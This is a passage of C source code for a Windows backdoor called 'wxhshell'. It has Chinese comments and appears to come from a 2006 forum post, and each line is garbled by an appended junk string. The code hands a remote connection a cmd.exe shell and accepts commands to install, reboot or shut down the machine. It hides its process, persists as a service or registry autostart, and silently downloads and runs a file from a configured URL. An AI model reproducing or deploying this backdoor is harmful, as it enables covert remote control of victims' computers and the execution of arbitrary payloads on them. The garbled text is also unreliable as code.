;n*N9-|.  
    switch(cmd[0]) { O/IW.t  
  qO<'_7TN[  
  // 帮助 {V!Jj6n  
  case '?': { =#i#IF42?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j${:Y$VmE  
    break; N>OF tP  
  } nFl=D=50-  
  // 安装 AcN~Q/xU  
  case 'i': { -ANp88a  
    if(Install()) F*QD\sG:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =GQ?P*x|$  
    else }0#cdw#gH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cz/mUU  
    break; v UAYYe  
    } mmXLGLMd  
  // 卸载 |n;gGR\  
  case 'r': { YZCPS6PuE  
    if(Uninstall()) -K`0`n}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .~ a)  
    else % 8kbX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qFV=P k  
    break; x7J|  
    } rbnu:+!  
  // 显示 wxhshell 所在路径 UcMe("U  
  case 'p': { B{W2D  
    char svExeFile[MAX_PATH]; oOuhbFu  
    strcpy(svExeFile,"\n\r"); 1;ulqO  
      strcat(svExeFile,ExeFile); i4.s_@2Y  
        send(wsh,svExeFile,strlen(svExeFile),0); n%Xw6qV:  
    break; =VlO53Hy{  
    } /|y3M/;F  
  // 重启 }[PbA4l.g  
  case 'b': { b9(d@2MtK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V|{ )P@Q  
    if(Boot(REBOOT)) PZO7eEt8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ -JD`2z  
    else { q<}5KY  
    closesocket(wsh); ^Y xqJy  
    ExitThread(0); ?Z] }G  
    } \1RQ),5 %]  
    break; cW),Y|8  
    } ?|+bM`  
  // 关机 CS cM;U=  
  case 'd': {  'TV^0D"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qkv.,z"  
    if(Boot(SHUTDOWN)) pi5Al)0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SGH"m/ e  
    else { ?M7nbfy[A@  
    closesocket(wsh); V0L^pDLOV  
    ExitThread(0); "8Pxf=   
    } `NV =2T  
    break; <P( K,L?r  
    } LaJc;Jt$  
  // 获取shell G`w,$:,  
  case 's': { -nO('(t  
    CmdShell(wsh); uavts9v<  
    closesocket(wsh); 7(~^6Ql!  
    ExitThread(0); 96vv85g  
    break; @P"q`*  
  } )G ,LG0"-  
  // 退出 Z8k O*LYv  
  case 'x': { QA.B.U7!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); < V"'j  
    CloseIt(wsh); .F)b9d[?  
    break; '[5tc fG#z  
    } [_qBp:_j?s  
  // 离开 Z|d_G}  
  case 'q': { }tx~y-QQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >S{1=N@Ev=  
    closesocket(wsh); kOR%<#:J  
    WSACleanup(); ms ;RJT2O'  
    exit(1); 8dUwJ"<5  
    break; nAd 4g|  
        } 7G%`ziZ  
  } xzMa[D4(  
  } `X^ 4~6/q  
[fR<#1Z  
  // 提示信息 *D;B%j^;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ec0Ee0%A]  
} \I,<G7!0  
  } Qkqn~>  
6! g3Juh  
  return; &66G  
} uz Z|w+3O  
GWA_,/jS%  
// shell模块句柄 fylW)W4C  
int CmdShell(SOCKET sock) fdd3H[  
{ r9s1\7]x  
STARTUPINFO si; s&y  
ZeroMemory(&si,sizeof(si)); 4_t aCK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z/;rM8[{&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wC=IN   
PROCESS_INFORMATION ProcessInfo; K N0S$nW+  
char cmdline[]="cmd"; ;=)CjC8)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xvp{F9~qT  
  return 0; #JuO  
} 'L3 \I  
&r DOqj  
// 自身启动模式 66)@4 3V  
int StartFromService(void) _BtlO(0&  
{ _V:D7\Gs  
typedef struct S~/iH Xm  
{ 1Q?hskL  
  DWORD ExitStatus; x 6,S#p  
  DWORD PebBaseAddress; fb`VYD9[^  
  DWORD AffinityMask; qI;k2sQR  
  DWORD BasePriority; "VcGr#zW  
  ULONG UniqueProcessId; hUA3(!0)  
  ULONG InheritedFromUniqueProcessId; C _[jQTr  
}   PROCESS_BASIC_INFORMATION; Q1&: +7 %  
pBL{DgX  
PROCNTQSIP NtQueryInformationProcess; "t"dz'  
Uk;SY[mU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4ItXZo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T X6Ydd  
`2S{.s  
  HANDLE             hProcess; eIof{#  
  PROCESS_BASIC_INFORMATION pbi; zq4mT;rqz  
Cn28&$:J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L<8y5B~W  
  if(NULL == hInst ) return 0; <hy>NM@$  
HSK^vd?_l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p2&KGt X'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WJz   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \=yg@K?"AJ  
SfL,_X]*  
  if (!NtQueryInformationProcess) return 0; uVscF 4  
>%[(C*Cks  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?m?e2{]u,  
  if(!hProcess) return 0; _FdWV?  
}clFaT>m?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ` GPK$ue  
Qr0JJoHT  
  CloseHandle(hProcess); JxD@y}ZYE  
'Fc&"(!||  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X% _~9'#%  
if(hProcess==NULL) return 0; 8<.KWr  
#v(+3Hp  
HMODULE hMod; $yCj80m\  
char procName[255]; =C#,aoa!  
unsigned long cbNeeded; `/+7@~[RU  
j*xens$)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `fc*/D  
&Puu Xz<  
  CloseHandle(hProcess); fG,qax`:c  
Vs07d,@w>  
if(strstr(procName,"services")) return 1; // 以服务启动 PCaa _ 2  
t1ZZru'r  
  return 0; // 注册表启动 Rut6m5>  
} / m?Z!  
a~XNRAh  
// 主模块 :K8T\  
int StartWxhshell(LPSTR lpCmdLine) ,Y!T!o} 1  
{ ~s5Sk#.z5  
  SOCKET wsl; DK)qBxc8  
BOOL val=TRUE; cJ[n<hTv  
  int port=0; b<5:7C9z  
  struct sockaddr_in door; Vn8Qsf1f  
,vN#U&RS  
  if(wscfg.ws_autoins) Install(); ( I,V+v+{Y  
;H\,w /E9  
port=atoi(lpCmdLine); #d|.BxH  
!J2Lp  
if(port<=0) port=wscfg.ws_port; slQKkx \Dn  
Kw?,A   
  WSADATA data; /VJ@`]jhDf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R2~Rqlti  
BAKfs/N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qx!IlO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &12aI |u^<  
  door.sin_family = AF_INET; l0@$]76cX;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y|lP.N/  
  door.sin_port = htons(port); UoKBcarm  
vNtbb]')m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +ZZiZ&y  
closesocket(wsl); ZcdS?Z2k  
return 1; 3G>E>yJ  
} T+.wJ W:jh  
T Z>z5YTv  
  if(listen(wsl,2) == INVALID_SOCKET) { ^d2g"L   
closesocket(wsl); R/^ rh  
return 1; fO(.I  
} pxY5S}@  
  Wxhshell(wsl); =_,OucKkYG  
  WSACleanup(); :YV!;dKJ  
xHL{3^  
return 0; +zw<iB)J  
=8J\;h  
} hQet?*diU  
6Q wL  
// 以NT服务方式启动 `zsKc 6%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]mqB&{g  
{ u>? VD%  
DWORD   status = 0; Y*AHwc<w`  
  DWORD   specificError = 0xfffffff; z1Ju;k( 8  
C]):+F<7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'Uc|[l]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `/|=eQ")o@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bC@b9opD  
  serviceStatus.dwWin32ExitCode     = 0; |w>DZG!}1-  
  serviceStatus.dwServiceSpecificExitCode = 0; YWdlE7 y  
  serviceStatus.dwCheckPoint       = 0; (PB|.`_<H  
  serviceStatus.dwWaitHint       = 0; U>I#f  
9B%"7MVn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  ipyO&v  
  if (hServiceStatusHandle==0) return; .#}SK!"B  
>5N}ZIN  
status = GetLastError(); iL\\JuY  
  if (status!=NO_ERROR) >i ~zG6H  
{ Y}WO`+Vf5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4^i*1&"  
    serviceStatus.dwCheckPoint       = 0; P.fgt>v]  
    serviceStatus.dwWaitHint       = 0; f~U|flL^  
    serviceStatus.dwWin32ExitCode     = status; ~O|0.)71]  
    serviceStatus.dwServiceSpecificExitCode = specificError; gT+/CVj R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +_ G'FD  
    return; U  *I52$  
  } ahf$#UQLb  
@a3<fmJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *Js<VR  
  serviceStatus.dwCheckPoint       = 0; 5_i&}c23Vn  
  serviceStatus.dwWaitHint       = 0; 9c?izpA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lA ,%'+-  
} 4t+88e  
LS_QoS  
// 处理NT服务事件,比如:启动、停止 ^wHO!$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MR~BWH?@1  
{ q6DhypB  
switch(fdwControl) onmO>q*  
{ \e?T 9c6,  
case SERVICE_CONTROL_STOP: &\(YmY  
  serviceStatus.dwWin32ExitCode = 0; [+%*s3`c#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uL= \t=  
  serviceStatus.dwCheckPoint   = 0; jjbw.n+1  
  serviceStatus.dwWaitHint     = 0; Xgl>kJy<#  
  { ofi']J{R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g 08 `=g  
  }   C[Fh^  
  return; %8-S>'g'  
case SERVICE_CONTROL_PAUSE: C[s*Na-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m7@`POI  
  break; kOc'@;_O  
case SERVICE_CONTROL_CONTINUE: A} "*`y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; < 37vWK1+  
  break; IaJ(T>" +  
case SERVICE_CONTROL_INTERROGATE: un/R7 "  
  break; #z~oc^J^T  
}; z/T ZOFaM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M6I1`Lpf  
} du qu}*Jw  
]#qdA(Kl  
// 标准应用程序主函数 C8jZcs#4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kP6r=HH@  
{ V]8fn MH  
{P3,jY^  
// 获取操作系统版本 1jF}g`At  
OsIsNt=GetOsVer(); 4+~+`3;~v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yA_d${n  
HWd,1  
  // 从命令行安装 D"Xm9 (  
  if(strpbrk(lpCmdLine,"iI")) Install(); R5FjJ>JE  
mB,7YZv  
  // 下载执行文件 |~/{lE=I  
if(wscfg.ws_downexe) { 6` s[PKP.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r*$"]{m}  
  WinExec(wscfg.ws_filenam,SW_HIDE); k^L (q\D  
} jC@^/rMh  
l)|CPSN?w  
if(!OsIsNt) { vB,N6~r>  
// 如果时win9x,隐藏进程并且设置为注册表启动 RHBEC@d[}  
HideProc(); FJ!>3V;}  
StartWxhshell(lpCmdLine); ^ 1g6(k'  
} *rbH|o8  
else #A/jGv^  
  if(StartFromService()) Gmwn:  
  // 以服务方式启动 `rcjZ^n  
  StartServiceCtrlDispatcher(DispatchTable); H;CGLis  
else \}2Wd`kD  
  // 普通方式启动 e (f)?H  
  StartWxhshell(lpCmdLine); JDs<1@\  
Fivv#4YO  
return 0; #8RQ7|7b|  
}
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只看该作者 1 发表于: 2006-10-10
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